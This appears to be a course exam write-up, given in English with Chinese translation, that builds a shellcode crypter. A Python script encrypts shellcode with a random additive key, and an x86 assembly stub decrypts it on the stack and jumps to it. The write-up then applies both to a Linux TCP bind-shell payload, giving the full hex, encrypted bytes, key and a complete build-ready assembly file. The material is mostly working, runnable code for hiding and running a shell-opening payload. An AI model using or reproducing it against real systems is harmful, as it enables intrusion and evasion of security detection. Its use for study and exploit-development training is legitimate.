This is assemby course and exam that's why I decided to realize simple substitution cipher on assembly.
这是Assemby课程和考试,这就是为什么我决定在汇编上实现简单替换密码的原因。
crypter.py
crypter.py
#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
import random
if len(sys.argv) != 2:
print("Enter shellcode in hex")
sys.exit(0)
shellcode = sys.argv[1]
plain_shellcode = bytearray.fromhex(shellcode)
# Generating key
key_length = len(plain_shellcode)
r = ''.join(chr(random.randint(0,255)) for _ in range(key_length))
key = bytearray(r.encode())
encrypted_shellcode = ""
plain_key = ""
for b in range(len(plain_shellcode)):
enc_b = (plain_shellcode[b] + key[b]) & 255
encrypted_shellcode += '%02x' % enc_b
plain_key += '0x'+ '%02x' % key[b] + ','
print('*'*150)
print(encrypted_shellcode)
print('*'*150)
print(plain_key)
print('*'*150)
print(key_length)
First, create skeleton:
首先,创建骨架:
section .text
global _start
_start:
; push encrypted shellcode
<PUSH ENCRYPTED SHELLCODE>
jmp getdata
next: pop ebx
mov esi, esp
mov edi, esp
; place key length
mov ecx, <KEY LENGTH>
decrypt:
lodsb
sub al, byte [ebx]
inc ebx
stosb
loop decrypt
jmp esp
; exit
xor eax, eax
mov al, 1
xor ebx, ebx
int 0x80
getdata: call next
; Place key on next line
key db <CIPHER KEY>
This code requires 3 things: push instructions with encrypted shellcode, key length and cipher key itself.
此代码需要3件事:带加密shellcode的推送指令,密钥长度和密码密钥本身。
Let's encrypt TCP bind shell shellcode.
让我们加密TCP绑定外壳程序shellcode。
$hexopcode bind_tcp_shell
31c031db31f6566a016a02b066b30189e1cd8089c25666680929666a0289e16a105152b066b30289e1cd806a0152b066b30489e1cd80565652b066b30589e1cd8089c231c9b10389d349b03fcd8079f931c050682f2f7368682f62696e89e35089e25389e1b00bcd80
Encrypt output
加密输出
$./crypter.py 31c031db31f6566a016a02b066b30189e1cd8089c25666680929666a0289e16a105152b066b30289e1cd806a0152b066b30489e1cd80565652b066b30589e1cd8089c231c9b10389d349b03fcd8079f931c050682f2f7368682f62696e89e35089e25389e1b00bcd80
*******************************Encrypted shellcode*******************************
4af2f48df478632d902db527287245fb5d8f38accc18f7b4ccae29ffc514fc2dc614d5e12946c535068f392d921449b111c738a35042da18dd730a75c04b8719c5b93cab8b31554c7fb773fa8f0cb976f37ba483f2bf361ee5f1132c20ba09bf4b86ad4c6f72b78f13
***********************************KEY*******************************************
0x19,0x32,0xc3,0xb2,0xc3,0x82,0x0d,0xc3,0x8f,0xc3,0xb3,0x77,0xc2,0xbf,0x44,0x72,0x7c,0xc2,0xb8,0x23,0x0a,0xc2,0x91,0x4c,0xc3,0x85,0xc3,0x95,0xc3,0x8b,0x1b,0xc3,0xb6,0xc3,0x83,0x31,0xc3,0x93,0xc3,0xac,0x25,0xc2,0xb9,0xc3,0x91,0xc2,0x99,0x4b,0x5e,0xc3,0xaf,0xc2,0x83,0xc2,0x84,0xc2,0x8b,0xc3,0xa4,0xc2,0xbb,0xc2,0xa6,0x4c,0x45,0x30,0x7a,0x7a,0xc2,0x80,0x52,0xc3,0xac,0x6e,0xc3,0xbb,0xc2,0x8c,0x40,0x7d,0xc2,0xbb,0x54,0x1b,0xc3,0x90,0xc3,0xb6,0x7d,0xc2,0xb1,0xc3,0xb2,0x31,0x26,0x6f,0xc2,0xa4,0x5a,0xc3,0x8e,0xc2,0xac,0xc2,0x93,
***********************************KEY LENGTH************************************
105
print push instructions for our encrypted shellcode
打印我们的加密shellcode的推送说明
$python3 hex2stack.py 4af2f48df478632d902db527287245fb5d8f38accc18f7b4ccae29ffc514fc2dc614d5e12946c535068f392d921449b111c738a35042da18dd730a75c04b8719c5b93cab8b31554c7fb773fa8f0cb976f37ba483f2bf361ee5f1132c20ba09bf4b86ad4c6f72b78f13
push 0x90909013
push 0x8fb7726f
...
And fill all fileds in .asm file
并将所有文件填充到.asm文件中
section .text
global _start
_start:
; push encrypted shellcode
push 0x90909013
push 0x8fb7726f
push 0x4cad864b
push 0xbf09ba20
push 0x2c13f1e5
push 0x1e36bff2
push 0x83a47bf3
push 0x76b90c8f
push 0xfa73b77f
push 0x4c55318b
push 0xab3cb9c5
push 0x19874bc0
push 0x750a73dd
push 0x18da4250
push 0xa338c711
push 0xb1491492
push 0x2d398f06
push 0x35c54629
push 0xe1d514c6
push 0x2dfc14c5
push 0xff29aecc
push 0xb4f718cc
push 0xac388f5d
push 0xfb457228
push 0x27b52d90
push 0x2d6378f4
push 0x8df4f24a
jmp getdata
next: pop ebx
mov esi, esp
mov edi, esp
; place key length
mov ecx, 105
decrypt:
lodsb
sub al, byte [ebx]
inc ebx
stosb
loop decrypt
jmp esp
; exit
xor eax, eax
mov al, 1
xor ebx, ebx
int 0x80
getdata: call next
; Place key on next line
key db 0x19,0x32,0xc3,0xb2,0xc3,0x82,0x0d,0xc3,0x8f,0xc3,0xb3,0x77,0xc2,0xbf,0x44,0x72,0x7c,0xc2,0xb8,0x23,0x0a,0xc2,0x91,0x4c,0xc3,0x85,0xc3,0x95,0xc3,0x8b,0x1b,0xc3,0xb6,0xc3,0x83,0x31,0xc3,0x93,0xc3,0xac,0x25,0xc2,0xb9,0xc3,0x91,0xc2,0x99,0x4b,0x5e,0xc3,0xaf,0xc2,0x83,0xc2,0x84,0xc2,0x8b,0xc3,0xa4,0xc2,0xbb,0xc2,0xa6,0x4c,0x45,0x30,0x7a,0x7a,0xc2,0x80,0x52,0xc3,0xac,0x6e,0xc3,0xbb,0xc2,0x8c,0x40,0x7d,0xc2,0xbb,0x54,0x1b,0xc3,0x90,0xc3,0xb6,0x7d,0xc2,0xb1,0xc3,0xb2,0x31,0x26,0x6f,0xc2,0xa4,0x5a,0xc3,0x8e,0xc2,0xac,0xc2,0x93,
Build it
建立它
$nasm32 encrypted_bind
Get opcode from file
从文件获取操作码
$popcode encrypted_bind
Place output it into shellcode.c, compile and run.
将其输出到shellcode.c中,进行编译并运行。
链接 (Links)
Code of all files you can find at:
您可以在以下位置找到所有文件的代码:
github.com/2S1one/SLAE github.com/2S1one/SLAE